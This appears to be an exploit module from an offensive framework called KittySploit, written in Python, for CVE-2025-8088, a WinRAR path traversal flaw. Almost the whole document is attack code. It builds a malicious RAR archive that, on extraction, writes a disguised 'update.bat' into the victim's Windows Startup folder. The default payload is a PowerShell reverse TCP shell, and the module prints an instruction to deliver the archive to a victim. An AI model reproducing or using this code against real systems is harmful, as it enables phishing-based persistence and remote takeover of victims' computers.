WinRAR Path Traversal (CVE-2025-8088)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""WinRAR path traversal code execution (CVE-2025-8088)."""

import os
import struct
import zlib
from pathlib import Path

from kittysploit import *


class Module(Exploit):
    __info__ = {
        'name': 'WinRAR Path Traversal (CVE-2025-8088)',
        'description': (
            'Generates a malicious RAR archive exploiting CVE-2025-8088 path traversal '
            'in WinRAR <= 7.11. When extracted, payload is written to the Windows Startup '
            'folder for code execution on next login. User interaction required.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2025-8088'],
        'platform': Platform.WINDOWS,
        'arch': [Arch.X86, Arch.X64],
        'payload': {
            'default': 'payloads/singles/cmd/windows/powershell_reverse_tcp',
            'platform': Platform.WINDOWS,
            'category': PayloadCategory.SINGLE,
        },
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2025-8088',
        ],
        'tags': ['winrar', 'rar', 'fileformat', 'path-traversal', 'phishing', 'kev', 'cve-2025-8088'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 0,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths'],
        },
    }

    output_file = OptString('evil.rar', 'Output RAR filename', required=True)
    startup_name = OptString('update.bat', 'Filename placed in Startup folder', required=False)
    command = OptString('', 'Command for batch payload (overrides selected payload)', required=False)

    STARTUP_TRAVERSAL = (
        '..\\..\\..\\..\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\'
    )

    def _build_batch(self, cmd: str) -> bytes:
        return (
            '@echo off\r\n'
            f'{cmd}\r\n'
        ).encode('utf-8', errors='replace')

    def _build_rar_v5_block(self, filename: str, content: bytes) -> bytes:
        """Minimal RAR5 archive block with path traversal filename."""
        name_bytes = filename.encode('utf-8')
        header = struct.pack('<BI', 0x03, len(name_bytes) + 32)
        file_block = b'\x03' + struct.pack('<H', 0)
        file_block += struct.pack('<I', len(content))
        file_block += struct.pack('<I', zlib.crc32(content) & 0xFFFFFFFF)
        file_block += name_bytes
        compressed = zlib.compress(content, 9)[2:-4]
        return (
            b'Rar!\x1a\x07\x01\x00'
            + header
            + file_block
            + compressed
            + b'\x00\x00\x00\x00'
        )

    def check(self):
        out = str(self.output_file or 'evil.rar').strip()
        parent = Path(out).parent
        if parent != Path('.') and not parent.exists():
            try:
                parent.mkdir(parents=True, exist_ok=True)
            except OSError:
                return {'vulnerable': False, 'reason': f'Cannot create output directory {parent}', 'confidence': 'high'}
        return {'vulnerable': True, 'reason': 'RAR generator ready', 'confidence': 'high'}

    def run(self):
        cmd = str(self.command or '').strip() or str(self.payload or '').strip()
        if not cmd:
            print_error('Set a payload or command option')
            return False
        print_status('CVE-2025-8088 — WinRAR path traversal archive generator')
        startup_file = str(self.startup_name or 'update.bat').strip()
        traversal_path = self.STARTUP_TRAVERSAL + startup_file
        batch = self._build_batch(cmd)
        rar_data = self._build_rar_v5_block(traversal_path, batch)
        out_path = str(self.output_file or 'evil.rar').strip()
        out_dir = os.path.dirname(out_path)
        if out_dir:
            os.makedirs(out_dir, exist_ok=True)
        with open(out_path, 'wb') as fh:
            fh.write(rar_data)
        print_success(f'Malicious RAR written to {out_path}')
        print_info(f'Traversal target: {traversal_path}')
        print_info('Deliver archive to victim — extraction triggers Startup persistence')
        self.vulnerable()
        return True